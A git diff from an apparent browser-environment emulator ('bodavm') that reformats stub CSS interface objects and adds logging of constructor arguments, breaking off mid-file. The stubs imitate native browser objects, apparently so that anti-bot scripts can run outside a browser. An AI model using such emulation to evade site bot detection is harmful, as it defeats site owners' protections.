33a5fd36..91e6ac20 100644 --- a/env_xbb_lastest_jsdom/env/CSSSkewX.js +++ b/env_xbb_lastest_jsdom/env/CSSSkewX.js @@ -1,6 +1,29 @@ -// CSSSkewX对象 -bodavm.memory.globalobj['CSSSkewX'] = function CSSSkewX(){if (!(this instanceof CSSSkewX)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSSkewX': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSSkewX'], "CSSSkewX"); -bodavm.memory.globalobj['CSSSkewX'].prototype.__proto__=bodavm.memory.globalobj['CSSTransformComponent'].prototype; -bodavm.memory.globalobj['CSSSkewX'].__proto__=bodavm.memory.globalobj['CSSTransformComponent']; -bodavm.toolsFunc.defineProperty('CSSSkewX', "ax", {configurable:true, enumerable:true, get:function ax (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSSkewX'].prototype, "CSSSkewX", "ax_get", arguments)}, set:function ax (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSSkewX'].prototype, "CSSSkewX", "ax_set", arguments)}},'prototype'); +// CSSSkewX对象 + +bodavm.memory.globalobj['CSSSkewX'] = function CSSSkewX() { + console.log_copy('CSSSkewX 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSSkewX)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSSkewX': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSSkewX'], "CSSSkewX"); +bodavm.memory.globalobj['CSSSkewX'].prototype.__proto__ = bodavm.memory.globalobj['CSSTransformComponent'].prototype; +bodavm.memory.globalobj['CSSSkewX'].__proto__ = bodavm.memory.globalobj['CSSTransformComponent']; +bodavm.toolsFunc.defineProperty('CSSSkewX', "ax", { + configurable: true, + enumerable: true, + get: function ax() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSSkewX'].prototype, "CSSSkewX", "ax_get", arguments); + }, + set: function ax() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSSkewX'].prototype, "CSSSkewX", "ax_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSSkewY.js b/env_xbb_lastest_jsdom/env/CSSSkewY.js index ab82ec7a..42fc56d5 100644 --- a/env_xbb_lastest_jsdom/env/CSSSkewY.js +++ b/env_xbb_lastest_jsdom/env/CSSSkewY.js @@ -1,6 +1,29 @@ -// CSSSkewY对象 -bodavm.memory.globalobj['CSSSkewY'] = function CSSSkewY(){if (!(this instanceof CSSSkewY)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSSkewY': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSSkewY'], "CSSSkewY"); -bodavm.memory.globalobj['CSSSkewY'].prototype.__proto__=bodavm.memory.globalobj['CSSTransformComponent'].prototype; -bodavm.memory.globalobj['CSSSkewY'].__proto__=bodavm.memory.globalobj['CSSTransformComponent']; -bodavm.toolsFunc.defineProperty('CSSSkewY', "ay", {configurable:true, enumerable:true, get:function ay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSSkewY'].prototype, "CSSSkewY", "ay_get", arguments)}, set:function ay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSSkewY'].prototype, "CSSSkewY", "ay_set", arguments)}},'prototype'); +// CSSSkewY对象 + +bodavm.memory.globalobj['CSSSkewY'] = function CSSSkewY() { + console.log_copy('CSSSkewY 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSSkewY)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSSkewY': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSSkewY'], "CSSSkewY"); +bodavm.memory.globalobj['CSSSkewY'].prototype.__proto__ = bodavm.memory.globalobj['CSSTransformComponent'].prototype; +bodavm.memory.globalobj['CSSSkewY'].__proto__ = bodavm.memory.globalobj['CSSTransformComponent']; +bodavm.toolsFunc.defineProperty('CSSSkewY', "ay", { + configurable: true, + enumerable: true, + get: function ay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSSkewY'].prototype, "CSSSkewY", "ay_get", arguments); + }, + set: function ay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSSkewY'].prototype, "CSSSkewY", "ay_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSStyleDeclaration.js b/env_xbb_lastest_jsdom/env/CSSStyleDeclaration.js index 1b0778d7..bf840680 100644 --- a/env_xbb_lastest_jsdom/env/CSSStyleDeclaration.js +++ b/env_xbb_lastest_jsdom/env/CSSStyleDeclaration.js @@ -1,12 +1,93 @@ -// CSSStyleDeclaration对象 -bodavm.memory.globalobj['CSSStyleDeclaration'] = function CSSStyleDeclaration(){if (!(this instanceof CSSStyleDeclaration)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSStyleDeclaration'], "CSSStyleDeclaration"); -bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "cssText", {configurable:true, enumerable:true, get:function cssText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "cssText_get", arguments)}, set:function cssText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "cssText_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "parentRule", {configurable:true, enumerable:true, get:function parentRule (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "parentRule_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "cssFloat", {configurable:true, enumerable:true, get:function cssFloat (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "cssFloat_get", arguments)}, set:function cssFloat (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "cssFloat_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "getPropertyPriority", {configurable:true, enumerable:true, writable:true, value:function getPropertyPriority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "getPropertyPriority", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "getPropertyValue", {configurable:true, enumerable:true, writable:true, value:function getPropertyValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "getPropertyValue", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "item", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "removeProperty", {configurable:true, enumerable:true, writable:true, value:function removeProperty (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "removeProperty", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "setProperty", {configurable:true, enumerable:true, writable:true, value:function setProperty (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "setProperty", arguments)}},'prototype'); +// CSSStyleDeclaration对象 + +bodavm.memory.globalobj['CSSStyleDeclaration'] = function CSSStyleDeclaration() { + console.log_copy('CSSStyleDeclaration 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSStyleDeclaration)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSStyleDeclaration'], "CSSStyleDeclaration"); +bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "cssText", { + configurable: true, + enumerable: true, + get: function cssText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "cssText_get", arguments); + }, + set: function cssText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "cssText_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "parentRule", { + configurable: true, + enumerable: true, + get: function parentRule() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "parentRule_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "cssFloat", { + configurable: true, + enumerable: true, + get: function cssFloat() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "cssFloat_get", arguments); + }, + set: function cssFloat() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "cssFloat_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "getPropertyPriority", { + configurable: true, + enumerable: true, + writable: true, + value: function getPropertyPriority() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "getPropertyPriority", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "getPropertyValue", { + configurable: true, + enumerable: true, + writable: true, + value: function getPropertyValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "getPropertyValue", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "item", { + configurable: true, + enumerable: true, + writable: true, + value: function item() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "item", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "removeProperty", { + configurable: true, + enumerable: true, + writable: true, + value: function removeProperty() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "removeProperty", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleDeclaration', "setProperty", { + configurable: true, + enumerable: true, + writable: true, + value: function setProperty() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleDeclaration'].prototype, "CSSStyleDeclaration", "setProperty", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSStyleRule.js b/env_xbb_lastest_jsdom/env/CSSStyleRule.js index 93deaa8f..226dc01b 100644 --- a/env_xbb_lastest_jsdom/env/CSSStyleRule.js +++ b/env_xbb_lastest_jsdom/env/CSSStyleRule.js @@ -1,11 +1,71 @@ -// CSSStyleRule对象 -bodavm.memory.globalobj['CSSStyleRule'] = function CSSStyleRule(){if (!(this instanceof CSSStyleRule)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSStyleRule'], "CSSStyleRule"); -bodavm.memory.globalobj['CSSStyleRule'].prototype.__proto__=bodavm.memory.globalobj['CSSRule'].prototype; -bodavm.memory.globalobj['CSSStyleRule'].__proto__=bodavm.memory.globalobj['CSSRule']; -bodavm.toolsFunc.defineProperty('CSSStyleRule', "selectorText", {configurable:true, enumerable:true, get:function selectorText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleRule'].prototype, "CSSStyleRule", "selectorText_get", arguments)}, set:function selectorText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleRule'].prototype, "CSSStyleRule", "selectorText_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleRule', "style", {configurable:true, enumerable:true, get:function style (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleRule'].prototype, "CSSStyleRule", "style_get", arguments)}, set:function style (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleRule'].prototype, "CSSStyleRule", "style_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleRule', "styleMap", {configurable:true, enumerable:true, get:function styleMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleRule'].prototype, "CSSStyleRule", "styleMap_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleRule', "cssRules", {configurable:true, enumerable:true, get:function cssRules (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleRule'].prototype, "CSSStyleRule", "cssRules_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleRule', "deleteRule", {configurable:true, enumerable:true, writable:true, value:function deleteRule (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleRule'].prototype, "CSSStyleRule", "deleteRule", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleRule', "insertRule", {configurable:true, enumerable:true, writable:true, value:function insertRule (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleRule'].prototype, "CSSStyleRule", "insertRule", arguments)}},'prototype'); +// CSSStyleRule对象 + +bodavm.memory.globalobj['CSSStyleRule'] = function CSSStyleRule() { + console.log_copy('CSSStyleRule 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSStyleRule)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSStyleRule'], "CSSStyleRule"); +bodavm.memory.globalobj['CSSStyleRule'].prototype.__proto__ = bodavm.memory.globalobj['CSSRule'].prototype; +bodavm.memory.globalobj['CSSStyleRule'].__proto__ = bodavm.memory.globalobj['CSSRule']; +bodavm.toolsFunc.defineProperty('CSSStyleRule', "selectorText", { + configurable: true, + enumerable: true, + get: function selectorText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleRule'].prototype, "CSSStyleRule", "selectorText_get", arguments); + }, + set: function selectorText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleRule'].prototype, "CSSStyleRule", "selectorText_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleRule', "style", { + configurable: true, + enumerable: true, + get: function style() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleRule'].prototype, "CSSStyleRule", "style_get", arguments); + }, + set: function style() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleRule'].prototype, "CSSStyleRule", "style_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleRule', "styleMap", { + configurable: true, + enumerable: true, + get: function styleMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleRule'].prototype, "CSSStyleRule", "styleMap_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleRule', "cssRules", { + configurable: true, + enumerable: true, + get: function cssRules() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleRule'].prototype, "CSSStyleRule", "cssRules_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleRule', "deleteRule", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteRule() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleRule'].prototype, "CSSStyleRule", "deleteRule", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleRule', "insertRule", { + configurable: true, + enumerable: true, + writable: true, + value: function insertRule() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleRule'].prototype, "CSSStyleRule", "insertRule", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSStyleSheet.js b/env_xbb_lastest_jsdom/env/CSSStyleSheet.js index e9622e4f..b4990fb4 100644 --- a/env_xbb_lastest_jsdom/env/CSSStyleSheet.js +++ b/env_xbb_lastest_jsdom/env/CSSStyleSheet.js @@ -1,14 +1,88 @@ -// CSSStyleSheet对象 -bodavm.memory.globalobj['CSSStyleSheet'] = function CSSStyleSheet(){this._boarg= new bodaobj.window.CSSStyleSheet();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSStyleSheet'], "CSSStyleSheet"); -bodavm.memory.globalobj['CSSStyleSheet'].prototype.__proto__=bodavm.memory.globalobj['StyleSheet'].prototype; -bodavm.memory.globalobj['CSSStyleSheet'].__proto__=bodavm.memory.globalobj['StyleSheet']; -bodavm.toolsFunc.defineProperty('CSSStyleSheet', "ownerRule", {configurable:true, enumerable:true, get:function ownerRule (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleSheet'].prototype, "CSSStyleSheet", "ownerRule_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleSheet', "cssRules", {configurable:true, enumerable:true, get:function cssRules (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleSheet'].prototype, "CSSStyleSheet", "cssRules_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleSheet', "rules", {configurable:true, enumerable:true, get:function rules (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleSheet'].prototype, "CSSStyleSheet", "rules_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleSheet', "addRule", {configurable:true, enumerable:true, writable:true, value:function addRule (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleSheet'].prototype, "CSSStyleSheet", "addRule", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleSheet', "deleteRule", {configurable:true, enumerable:true, writable:true, value:function deleteRule (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleSheet'].prototype, "CSSStyleSheet", "deleteRule", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleSheet', "insertRule", {configurable:true, enumerable:true, writable:true, value:function insertRule (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleSheet'].prototype, "CSSStyleSheet", "insertRule", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleSheet', "removeRule", {configurable:true, enumerable:true, writable:true, value:function removeRule (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleSheet'].prototype, "CSSStyleSheet", "removeRule", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleSheet', "replace", {configurable:true, enumerable:true, writable:true, value:function replace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleSheet'].prototype, "CSSStyleSheet", "replace", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleSheet', "replaceSync", {configurable:true, enumerable:true, writable:true, value:function replaceSync (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleSheet'].prototype, "CSSStyleSheet", "replaceSync", arguments)}},'prototype'); +// CSSStyleSheet对象 + +bodavm.memory.globalobj['CSSStyleSheet'] = function CSSStyleSheet() { + console.log_copy('CSSStyleSheet 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.CSSStyleSheet(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSStyleSheet'], "CSSStyleSheet"); +bodavm.memory.globalobj['CSSStyleSheet'].prototype.__proto__ = bodavm.memory.globalobj['StyleSheet'].prototype; +bodavm.memory.globalobj['CSSStyleSheet'].__proto__ = bodavm.memory.globalobj['StyleSheet']; +bodavm.toolsFunc.defineProperty('CSSStyleSheet', "ownerRule", { + configurable: true, + enumerable: true, + get: function ownerRule() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleSheet'].prototype, "CSSStyleSheet", "ownerRule_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleSheet', "cssRules", { + configurable: true, + enumerable: true, + get: function cssRules() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleSheet'].prototype, "CSSStyleSheet", "cssRules_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleSheet', "rules", { + configurable: true, + enumerable: true, + get: function rules() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleSheet'].prototype, "CSSStyleSheet", "rules_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleSheet', "addRule", { + configurable: true, + enumerable: true, + writable: true, + value: function addRule() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleSheet'].prototype, "CSSStyleSheet", "addRule", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleSheet', "deleteRule", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteRule() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleSheet'].prototype, "CSSStyleSheet", "deleteRule", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleSheet', "insertRule", { + configurable: true, + enumerable: true, + writable: true, + value: function insertRule() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleSheet'].prototype, "CSSStyleSheet", "insertRule", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleSheet', "removeRule", { + configurable: true, + enumerable: true, + writable: true, + value: function removeRule() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleSheet'].prototype, "CSSStyleSheet", "removeRule", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleSheet', "replace", { + configurable: true, + enumerable: true, + writable: true, + value: function replace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleSheet'].prototype, "CSSStyleSheet", "replace", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleSheet', "replaceSync", { + configurable: true, + enumerable: true, + writable: true, + value: function replaceSync() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleSheet'].prototype, "CSSStyleSheet", "replaceSync", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSStyleValue.js b/env_xbb_lastest_jsdom/env/CSSStyleValue.js index 9c2eb971..91f4e7aa 100644 --- a/env_xbb_lastest_jsdom/env/CSSStyleValue.js +++ b/env_xbb_lastest_jsdom/env/CSSStyleValue.js @@ -1,6 +1,41 @@ -// CSSStyleValue对象 -bodavm.memory.globalobj['CSSStyleValue'] = function CSSStyleValue(){if (!(this instanceof CSSStyleValue)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSStyleValue'], "CSSStyleValue"); -bodavm.toolsFunc.defineProperty('CSSStyleValue', "parse", {configurable:true, enumerable:true, writable:true, value:function parse (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleValue'].undefined, "CSSStyleValue", "parse", arguments)}}); -bodavm.toolsFunc.defineProperty('CSSStyleValue', "parseAll", {configurable:true, enumerable:true, writable:true, value:function parseAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleValue'].undefined, "CSSStyleValue", "parseAll", arguments)}}); -bodavm.toolsFunc.defineProperty('CSSStyleValue', "toString", {configurable:true, enumerable:true, writable:true, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleValue'].prototype, "CSSStyleValue", "toString", arguments)}},'prototype'); +// CSSStyleValue对象 + +bodavm.memory.globalobj['CSSStyleValue'] = function CSSStyleValue() { + console.log_copy('CSSStyleValue 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSStyleValue)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSStyleValue'], "CSSStyleValue"); +bodavm.toolsFunc.defineProperty('CSSStyleValue', "parse", { + configurable: true, + enumerable: true, + writable: true, + value: function parse() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleValue'].undefined, "CSSStyleValue", "parse", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSSStyleValue', "parseAll", { + configurable: true, + enumerable: true, + writable: true, + value: function parseAll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleValue'].undefined, "CSSStyleValue", "parseAll", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSSStyleValue', "toString", { + configurable: true, + enumerable: true, + writable: true, + value: function toString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleValue'].prototype, "CSSStyleValue", "toString", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSSupportsRule.js b/env_xbb_lastest_jsdom/env/CSSSupportsRule.js index 535c47df..73ca02d1 100644 --- a/env_xbb_lastest_jsdom/env/CSSSupportsRule.js +++ b/env_xbb_lastest_jsdom/env/CSSSupportsRule.js @@ -1,5 +1,19 @@ -// CSSSupportsRule对象 -bodavm.memory.globalobj['CSSSupportsRule'] = function CSSSupportsRule(){if (!(this instanceof CSSSupportsRule)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSSupportsRule'], "CSSSupportsRule"); -bodavm.memory.globalobj['CSSSupportsRule'].prototype.__proto__=bodavm.memory.globalobj['CSSConditionRule'].prototype; -bodavm.memory.globalobj['CSSSupportsRule'].__proto__=bodavm.memory.globalobj['CSSConditionRule']; +// CSSSupportsRule对象 + +bodavm.memory.globalobj['CSSSupportsRule'] = function CSSSupportsRule() { + console.log_copy('CSSSupportsRule 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSSupportsRule)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSSupportsRule'], "CSSSupportsRule"); +bodavm.memory.globalobj['CSSSupportsRule'].prototype.__proto__ = bodavm.memory.globalobj['CSSConditionRule'].prototype; +bodavm.memory.globalobj['CSSSupportsRule'].__proto__ = bodavm.memory.globalobj['CSSConditionRule']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSTransformComponent.js b/env_xbb_lastest_jsdom/env/CSSTransformComponent.js index 35060d0b..81bd997b 100644 --- a/env_xbb_lastest_jsdom/env/CSSTransformComponent.js +++ b/env_xbb_lastest_jsdom/env/CSSTransformComponent.js @@ -1,6 +1,43 @@ -// CSSTransformComponent对象 -bodavm.memory.globalobj['CSSTransformComponent'] = function CSSTransformComponent(){if (!(this instanceof CSSTransformComponent)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSTransformComponent'], "CSSTransformComponent"); -bodavm.toolsFunc.defineProperty('CSSTransformComponent', 